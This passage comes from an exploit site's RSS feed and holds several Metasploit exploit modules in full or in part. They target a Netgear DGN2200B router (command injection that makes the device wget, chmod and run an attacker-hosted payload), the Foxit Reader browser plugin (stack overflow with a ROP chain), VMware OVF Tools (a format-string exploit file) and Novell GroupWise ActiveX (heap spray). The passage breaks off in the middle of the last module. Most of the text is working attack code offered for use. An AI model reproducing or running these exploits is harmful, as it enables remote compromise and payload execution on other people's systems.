            &quot;pppoe_flet_sel&quot; =&gt; @pppoe_flet_sel_orig,
            &quot;pppoe_flet_type&quot; =&gt; @pppoe_flet_type_orig,
            &quot;pppoe_temp&quot; =&gt; @pppoe_temp_orig,
            &quot;opendns_parental_ctrl&quot; =&gt; @opendns_parental_ctrl_orig
          }
        })
      return res
    rescue ::Rex::ConnectionError
      vprint_error(&quot;#{rhost}:#{rport} - Failed to connect to the web server&quot;)
      return nil
    end
  end
&nbsp;
  def logout(user,pass)
    begin
      res = send_request_cgi({
        'uri'     =&gt; '/LGO_logout.htm',
        'method'  =&gt; 'GET',
        'authorization' =&gt; basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - No successful logout possible&quot;)
      end
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, &quot;#{rhost}:#{rport} - Failed to connect to the web server&quot;)
    end
&nbsp;
  end
&nbsp;
  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    uri = '/pppoe.cgi'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    @timeout = datastore['RELOAD_CONF_DELAY']
&nbsp;
    #
    # testing Login
    #
    print_status(&quot;#{rhost}:#{rport} - Trying to login with #{user} / #{pass}&quot;)
    begin
      res = send_request_cgi({
        'uri'     =&gt; '/',
        'method'  =&gt; 'GET',
        'authorization' =&gt; basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}&quot;)
      end
      if [200, 301, 302].include?(res.code)
        print_good(&quot;#{rhost}:#{rport} - Successful login #{user}/#{pass}&quot;)
      else
        fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}&quot;)
      end
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, &quot;#{rhost}:#{rport} - Failed to connect to the web server&quot;)
    end
&nbsp;
    grab_config(user,pass)
&nbsp;
    if target.name =~ /CMD/
      if not (datastore['CMD'])
        fail_with(Exploit::Failure::BadConfig, &quot;#{rhost}:#{rport} - Only the cmd/generic payload is compatible&quot;)
      end
      cmd = payload.encoded
      cmd = &quot;%26%20#{cmd}%20%26&quot;
      res = request(cmd,user,pass,uri)
      if (!res)
        fail_with(Exploit::Failure::Unknown, &quot;#{rhost}:#{rport} - Unable to execute payload&quot;)
      else
        print_status(&quot;#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state&quot;)
      end
      return
    end
&nbsp;
    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false
&nbsp;
    #
    # start our server
    #
    resource_uri = '/' + downfile
&nbsp;
    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end
&nbsp;
      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == &quot;0.0.0.0&quot; or datastore['SRVHOST'] == &quot;::&quot;)
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end
&nbsp;
      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status(&quot;#{rhost}:#{rport} - Starting up our web service on #{service_url} ...&quot;)
      start_service({'Uri' =&gt; {
        'Proc' =&gt; Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' =&gt; resource_uri
      }})
&nbsp;
      datastore['SSL'] = true if ssl_restore
    end
&nbsp;
    #
    # download payload
    #
    print_status(&quot;#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}&quot;)
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)
&nbsp;
    cmd = &quot;/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}&quot;
    cmd = Rex::Text.uri_encode(cmd)
    cmd = &quot;%26%20#{cmd}%20%26&quot;
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Exploit::Failure::Unknown, &quot;#{rhost}:#{rport} - Unable to deploy payload&quot;)
    end
&nbsp;
    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status(&quot;#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload&quot;)
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup(&quot;/tmp/#{filename}&quot;)
&nbsp;
    #
    #reload original configuration
    #
    restore_conf(user,pass,uri)
&nbsp;
    #
    #lockout of the device and free the management sessions
    #
    logout(user,pass)
  end
&nbsp;
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status(&quot;on_request_uri called: #{request.inspect}&quot;)
    if (not @pl)
      print_error(&quot;#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!&quot;)
      return
    end
    print_status(&quot;#{rhost}:#{rport} - Sending the payload to the server...&quot;)
    @elf_sent = true
    send_response(cli, @pl)
  end
&nbsp;
  # wait for the data to be sent
  def wait_linux_payload
    print_status(&quot;#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...&quot;)
&nbsp;
    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited &gt; datastore['HTTP_DELAY'])
        fail_with(Exploit::Failure::Unknown, &quot;#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?&quot;)
      end
    end
  end
&nbsp;
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/netgear-dgn2200b-pppoe-cgi-remote-command-execution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foxit Reader Plugin URL Processing Buffer Overflow</title>
		<link>http://www.exploit-id.com/remote-exploits/foxit-reader-plugin-url-processing-buffer-overflow</link>
		<comments>http://www.exploit-id.com/remote-exploits/foxit-reader-plugin-url-processing-buffer-overflow#comments</comments>
		<pubDate>Wed, 20 Feb 2013 03:23:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10379</guid>
		<description><![CDATA[View Code WINDOWS## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## &#160; require 'msf/core' &#160; class Metasploit3 &#60; Msf::Exploit::Remote &#160; include Msf::Exploit::Remote::HttpServer::HTML &#160; Rank [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10379code10'); return false;">View Code</a> WINDOWS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1037910"><td class="code" id="p10379code10"><pre class="windows" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
&nbsp;
	include Msf::Exploit::Remote::HttpServer::HTML
&nbsp;
	Rank = NormalRanking
&nbsp;
	def initialize(info={})
		super(update_info(info,
			'Name'           =&gt; &quot;Foxit Reader Plugin URL Processing Buffer Overflow&quot;,
			'Description'    =&gt; %q{
					This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
					the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
					overly long query strings within URLs can cause a stack-based buffer overflow,
					which can be exploited to execute arbitrary code. This exploit has been tested
					on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
					(npFoxitReaderPlugin.dll version 2.2.1.530).
			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;
				[
					'rgod &lt;rgod[at]autistici.org&gt;',       # initial discovery and poc
					'Sven Krewitt &lt;svnk[at]krewitt.org&gt;', # metasploit module
					'juan vazquez',                       # metasploit module
				],
			'References'     =&gt;
				[
					[ 'OSVDB', '89030' ],
					[ 'BID', '57174' ],
					[ 'EDB', '23944' ],
					[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
					[ 'URL', 'http://secunia.com/advisories/51733/' ]
				],
			'Payload'        =&gt;
				{
					'Space'       =&gt; 2000,
					'DisableNops' =&gt; true
				},
			'DefaultOptions'  =&gt;
				{
					'EXITFUNC' =&gt; &quot;process&quot;,
					'InitialAutoRunScript' =&gt; 'migrate -f'
				},
			'Platform'       =&gt; 'win',
			'Targets'        =&gt;
				[
					# npFoxitReaderPlugin.dll version 2.2.1.530
					[ 'Automatic', {} ],
					[ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
						{
							'Offset'          =&gt; 272,
							'Ret'             =&gt; 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
							'WritableAddress' =&gt; 0x10045c10, # from npFoxitReaderPlugin
							:rop =&gt; :win7_rop_chain
						}
					]
				],
			'Privileged'     =&gt; false,
			'DisclosureDate' =&gt; &quot;Jan 7 2013&quot;,
			'DefaultTarget'  =&gt; 0))
	end
&nbsp;
	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'
&nbsp;
		#Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''
&nbsp;
		case nt
			when '5.1'
				os_name = 'Windows XP SP3'
			when '6.0'
				os_name = 'Windows Vista'
			when '6.1'
				os_name = 'Windows 7'
		end
&nbsp;
		if os_name == 'Windows 7' and firefox =~ /18/
			return targets[1]
		end
&nbsp;
		return nil
	end
&nbsp;
	def junk
		return rand_text_alpha(4).unpack(&quot;L&quot;)[0].to_i
	end
&nbsp;
	def nops
		make_nops(4).unpack(&quot;N*&quot;)
	end
&nbsp;
	# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
	def win7_rop_chain
&nbsp;
		# rop chain generated with mona.py - www.corelan.be
		rop_gadgets =
			[
				0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
				0x100361a8, # ptr to &amp;VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
				0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
				0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
				0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
				0x41414141, # Filler (RETN offset compensation)
				0x1000614c, # &amp; push esp # ret  [npFoxitReaderPlugin.dll]
				0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
				0x00001000, # 0x00001000-&gt; edx
				0x1000d9ec, # XOR EDX, EDX # RETN
				0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
				junk,
				0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
				junk,
				junk,
				junk,
				0x41414141, # Filler (RETN offset compensation)
				0x00000040, # 0x00000040-&gt; ecx
				0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
				0x00000001, # 0x00000001-&gt; ebx
				0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
				0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
				0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
				nops,
				0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
			].flatten.pack(&quot;V*&quot;)
&nbsp;
		return rop_gadgets
	end
&nbsp;
	def on_request_uri(cli, request)
&nbsp;
		agent = request.headers['User-Agent']
		my_target = get_target(agent)
&nbsp;
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error(&quot;Browser not supported, sending 404: #{agent}&quot;)
			send_not_found(cli)
			return
		end
&nbsp;
		unless self.respond_to?(my_target[:rop])
			print_error(&quot;Invalid target specified: no callback function defined&quot;)
			send_not_found(cli)
			return
		end
&nbsp;
		return if ((p = regenerate_payload(cli)) == nil)
&nbsp;
		# we use two responses:
		# one for an HTTP 301 redirect and sending the payload
		# and one for sending the HTTP 200 OK with appropriate Content-Type
		if request.resource =~ /\.pdf$/
			# sending Content-Type
			resp = create_response(200, &quot;OK&quot;)
			resp.body = &quot;&quot;
			resp['Content-Type'] = 'application/pdf'
			resp['Content-Length'] = rand_text_numeric(3,&quot;0&quot;)
			cli.send_response(resp)
			return
		else
			resp = create_response(301, &quot;Moved Permanently&quot;)
			resp.body = &quot;&quot;
&nbsp;
			my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
			if datastore['SSL']
				schema = &quot;https&quot;
			else
				schema = &quot;http&quot;
			end
&nbsp;
			sploit = rand_text_alpha(my_target['Offset'] - &quot;#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?&quot;.length)
			sploit &lt;&lt; [my_target.ret].pack(&quot;V&quot;) # EIP
			sploit &lt;&lt; [my_target['WritableAddress']].pack(&quot;V&quot;) # Writable Address
			sploit &lt;&lt; self.send(my_target[:rop])
			sploit &lt;&lt; p.encoded
&nbsp;
			resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
			cli.send_response(resp)
&nbsp;
			# handle the payload
			handler(cli)
		end
	end
&nbsp;
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/foxit-reader-plugin-url-processing-buffer-overflow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMWare OVF Tools Format String Vulnerability</title>
		<link>http://www.exploit-id.com/remote-exploits/vmware-ovf-tools-format-string-vulnerability-2</link>
		<comments>http://www.exploit-id.com/remote-exploits/vmware-ovf-tools-format-string-vulnerability-2#comments</comments>
		<pubDate>Wed, 20 Feb 2013 03:22:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10376</guid>
		<description><![CDATA[View Code WINDOWS## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## &#160; require 'msf/core' &#160; class Metasploit3 &#60; Msf::Exploit::Remote Rank = NormalRanking &#160; include Msf::Exploit::FILEFORMAT [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10376code12'); return false;">View Code</a> WINDOWS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1037612"><td class="code" id="p10376code12"><pre class="windows" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = NormalRanking
&nbsp;
	include Msf::Exploit::FILEFORMAT
&nbsp;
	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'VMWare OVF Tools Format String Vulnerability',
			'Description'    =&gt; %q{
					This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
				Windows. The vulnerability occurs when printing error messages while parsing a
				a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
				2.1 on Windows XP SP3.
			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;
				[
					'Jeremy Brown', # Vulnerability discovery
					'juan vazquez'  # Metasploit Module
				],
			'References'     =&gt;
				[
					[ 'CVE', '2012-3569' ],
					[ 'OSVDB', '87117' ],
					[ 'BID', '56468' ],
					[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
				],
			'Payload'        =&gt;
				{
					'DisableNops'    =&gt; true,
					'BadChars'       =&gt;
						(0x00..0x08).to_a.pack(&quot;C*&quot;) +
						&quot;\x0b\x0c\x0e\x0f&quot; +
						(0x10..0x1f).to_a.pack(&quot;C*&quot;) +
						(0x80..0xff).to_a.pack(&quot;C*&quot;) +
						&quot;\x22&quot;,
					'StackAdjustment' =&gt; -3500,
					'PrependEncoder' =&gt; &quot;\x54\x59&quot;, # push esp # pop ecx
					'EncoderOptions' =&gt;
						{
							'BufferRegister' =&gt; 'ECX',
							'BufferOffset' =&gt; 6
						}
				},
			'Platform'       =&gt; 'win',
			'Targets'        =&gt;
				[
					# vmware-ovftool-2.1.0-467744-win-i386.msi
					[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
						{
							'Ret' =&gt; 0x7852753d,  # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
							'AddrPops' =&gt; 98,
							'StackPadding' =&gt; 38081,
							'Alignment' =&gt; 4096
						}
					],
				],
			'Privileged'     =&gt; false,
			'DisclosureDate' =&gt; 'Nov 08 2012',
			'DefaultTarget'  =&gt; 0))
&nbsp;
		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.ovf']),
			], self.class)
	end
&nbsp;
	def ovf
		my_payload = rand_text_alpha(4) # ebp
		my_payload &lt;&lt; [target.ret].pack(&quot;V&quot;) # eip # call esp
		my_payload &lt;&lt; payload.encoded
&nbsp;
		fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
		fs &lt;&lt; rand_text_alpha(target['Alignment']) # Align to 0x11000
		fs &lt;&lt; my_payload
		# 65536 =&gt; 0x10000
		# 27    =&gt; Error message prefix length
		fs &lt;&lt; rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
		fs &lt;&lt; &quot;%08x&quot; * target['AddrPops'] # Reach saved EBP
		fs &lt;&lt; &quot;%hn&quot; # Overwrite LSW of saved EBP with 0x1000
&nbsp;
		ovf_file = &lt;&lt;-EOF
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;Envelope vmw:buildId=&quot;build-162856&quot; xmlns=&quot;http://schemas.dmtf.org/ovf/envelope/1&quot;
xmlns:cim=&quot;http://schemas.dmtf.org/wbem/wscim/1/common&quot;
xmlns:ovf=&quot;http://schemas.dmtf.org/ovf/envelope/1&quot;
xmlns:rasd=&quot;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData&quot;
xmlns:vmw=&quot;http://www.vmware.com/schema/ovf&quot;
xmlns:vssd=&quot;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData&quot;
xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&gt;
	&lt;References&gt;
		&lt;File ovf:href=&quot;Small VM-disk1.vmdk&quot; ovf:id=&quot;file1&quot; ovf:size=&quot;68096&quot; /&gt;
	&lt;/References&gt;
	&lt;DiskSection&gt;
		&lt;Info&gt;Virtual disk information&lt;/Info&gt;
		&lt;Disk ovf:capacity=&quot;8&quot; ovf:capacityAllocationUnits=&quot;#{fs}&quot; ovf:diskId=&quot;vmdisk1&quot; ovf:fileRef=&quot;file1&quot; ovf:format=&quot;http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized&quot; /&gt;
	&lt;/DiskSection&gt;
	&lt;VirtualSystem ovf:id=&quot;Small VM&quot;&gt;
		&lt;Info&gt;A virtual machine&lt;/Info&gt;
	&lt;/VirtualSystem&gt;
&lt;/Envelope&gt;
		EOF
		ovf_file
	end
&nbsp;
	def exploit
		print_status(&quot;Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1&quot;)
		file_create(ovf)
	end
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/vmware-ovf-tools-format-string-vulnerability-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution</title>
		<link>http://www.exploit-id.com/remote-exploits/novell-groupwise-client-gwcls1-dll-activex-remote-code-execution</link>
		<comments>http://www.exploit-id.com/remote-exploits/novell-groupwise-client-gwcls1-dll-activex-remote-code-execution#comments</comments>
		<pubDate>Wed, 20 Feb 2013 03:20:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10373</guid>
		<description><![CDATA[View Code WINDOWS## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## &#160; require 'msf/core' &#160; class Metasploit3 &#60; Msf::Exploit::Remote Rank = NormalRanking &#160; include [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10373code14'); return false;">View Code</a> WINDOWS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1037314"><td class="code" id="p10373code14"><pre class="windows" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
	Rank = NormalRanking
&nbsp;
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
&nbsp;
	autopwn_info({
		:ua_name    =&gt; HttpClients::IE,
		:ua_minver  =&gt; &quot;6.0&quot;,
		:ua_maxver  =&gt; &quot;9.0&quot;,
		:javascript =&gt; true,
		:os_name    =&gt; OperatingSystems::WINDOWS,
		:rank       =&gt; NormalRanking,
		:classid    =&gt; &quot;{601D7813-408F-11D1-98D7-444553540000}&quot;,
		:method     =&gt; &quot;SetEngine&quot;
	})
&nbsp;
&nbsp;
	def initialize(info={})
		super(update_info(info,
			'Name'           =&gt; &quot;Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution&quot;,
			'Description'    =&gt; %q{
					This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
				ActiveX. Several methods in the GWCalServer control use user provided data as
				a pointer, which allows to read arbitrary memory and execute arbitrary code. This
				module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
				JRE6 needs to be installed to achieve ASLR bypass.
			},
			'License'        =&gt; MSF_LICENSE,
			'Author'         =&gt;
				[
					'rgod &lt;rgod[at]autistici.org&gt;', # Vulnerability discovery
					'juan vazquez'                  # Metasploit module
				],
			'References'     =&gt;
				[
					[ 'CVE', '2012-0439' ],
					[ 'OSVDB', '89700' ],
					[ 'BID' , '57658' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
				],
			'Payload'        =&gt;
				{
					'BadChars'    =&gt; &quot;\x00&quot;,
					'Space'       =&gt; 1040,
					'DisableNops' =&gt; true
				},
			'DefaultOptions'  =&gt;
				{
					'InitialAutoRunScript' =&gt; 'migrate -f'
				},
			'Platform'       =&gt; 'win',
			'Targets'        =&gt;
				[
					# gwcls1.dll 12.0.0.8586
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Rop' =&gt; nil,     'Offset' =&gt; '0x5F4' } ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' =&gt; nil,     'Offset' =&gt; '0x5F4' } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' =&gt; :msvcrt, 'Offset' =&gt; '0x3e3' } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' =&gt; nil,     'Offset' =&gt; '0x5f4' } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' =&gt; :jre,    'Offset' =&gt; '0x3e3' } ],
					[ 'IE 8 on Windows 7',      { 'Rop' =&gt; :jre,    'Offset' =&gt; '0x3e3' } ],
					[ 'IE 9 on Windows 7',      { 'Rop' =&gt; :jre,    'Offset' =&gt; '0x3ed' } ]#'0x5fe' } ]
				],
			'Privileged'     =&gt; false,
			'DisclosureDate' =&gt; &quot;Jan 30 2013&quot;,
			'DefaultTarget'  =&gt; 0))
&nbsp;
		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
&nbsp;
	end
&nbsp;
	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'
&nbsp;
		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
&nbsp;
		ie_name = &quot;IE #{ie}&quot;
&nbsp;
		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end
&nbsp;
		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status(&quot;Target selected as: #{t.name}&quot;)
				return t
			end
		end
&nbsp;
		return nil
	end
&nbsp;
	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape(&quot;\x0c&quot;*4, Rex::Arch.endian(target.arch))
		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
&nbsp;
		# Land the payload at 0x0c0c0c0c
		case my_target
		when targets[7]
			# IE 9 on Windows 7
			js = %Q|
			function randomblock(blocksize)
			{
				var theblock = &quot;&quot;;
				for (var i = 0; i &lt; blocksize; i++)
				{
					theblock += Math.floor(Math.random()*90)+10;
				}
				return theblock;
			}
&nbsp;
			function tounescape(block)
			{
				var blocklen = block.length;
				var unescapestr = &quot;&quot;;
				for (var i = 0; i &lt; blocklen-1; i=i+4)
				{
					unescapestr += &quot;%u&quot; + block.substring(i,i+4);
				}
				return unescapestr;
			}
&nbsp;
			var heap_obj = new heapLib.ie(0x10000);
			var code = unescape(&quot;#{js_code}&quot;);
			var nops = unescape(&quot;#{js_random_nops}&quot;);
			while (nops.length &lt; 0x80000) nops += nops;
			var offset_length = #{my_target['Offset']};
			for (var i=0; i &lt; 0x1000; i++) {
				var padding = unescape(tounescape(randomblock(0x1000)));
				while (padding.length &lt; 0x1000) padding+= padding;
				var junk_offset = padding.substring(0, offset_length);
				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
				while (single_sprayblock.length &lt; 0x20000) single_sprayblock += single_sprayblock;
				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
				heap_obj.alloc(sprayblock);
			}
			|
&nbsp;
		else
			# For IE 6, 7, 8
			js = %Q|
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape(&quot;#{js_code}&quot;);
			var nops = unescape(&quot;#{js_nops}&quot;);
			while (nops.length &lt; 0x80000) nops += nops;
			var offset = nops.substring(0, #{my_target['Offset']});
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
			while (shellcode.length &lt; 0x40000) shellcode += shellcode;
			var block = shellcode.substring(0, (0x80000-6)/2);
			heap_obj.gc();
			for (var i=1; i &lt; 0x300; i++) {
				heap_obj.alloc(block);
			}
			var overflow = nops.substring(0, 10);
			|
&nbsp;
		end
&nbsp;
		js = heaplib(js, {:noobfu =&gt; true})
&nbsp;
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end
&nbsp;
		return js
	end
&nbsp;
	def stack_pivot
		pivot = &quot;\x64\xa1\x18\x00\x00\x00&quot;  # mov eax, fs:[0x18 # get teb
		pivot &lt;&lt; &quot;\x83\xC0\x08&quot;             # add eax, byte 8 # get pointer to stacklimit
		pivot &lt;&lt; &quot;\x8b\x20&quot;                 # mov esp, [eax] # put esp at stacklimit
		pivot &lt;&lt; &quot;\x81\xC4\x30\xF8\xFF\xFF&quot; # add esp, -2000 # plus a little offset
		return pivot
	end
&nbsp;
	def get_payload(t, cli)
		code = payload.encoded
&nbsp;
		# No rop. Just return the payload.
		return [0x0c0c0c10 - 0x426].pack(&quot;V&quot;) + [0x0c0c0c14].pack(&quot;V&quot;) + code if t['Rop'].nil?
&nbsp;
		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
			when :msvcrt
				print_status(&quot;Using msvcrt ROP&quot;)
				rop_payload = generate_rop_payload('msvcrt', '', 'target'=&gt;'xp') # Mapped at 0x0c0c07ea
				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, &quot;jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}&quot;).encode_string
				rop_payload &lt;&lt; jmp_shell
				rop_payload &lt;&lt; rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
				rop_payload &lt;&lt; [0x0c0c0c10 - 0x426].pack(&quot;V&quot;)  # Mapped at 0x0c0c0c0c # 0x426 =&gt; vtable offset
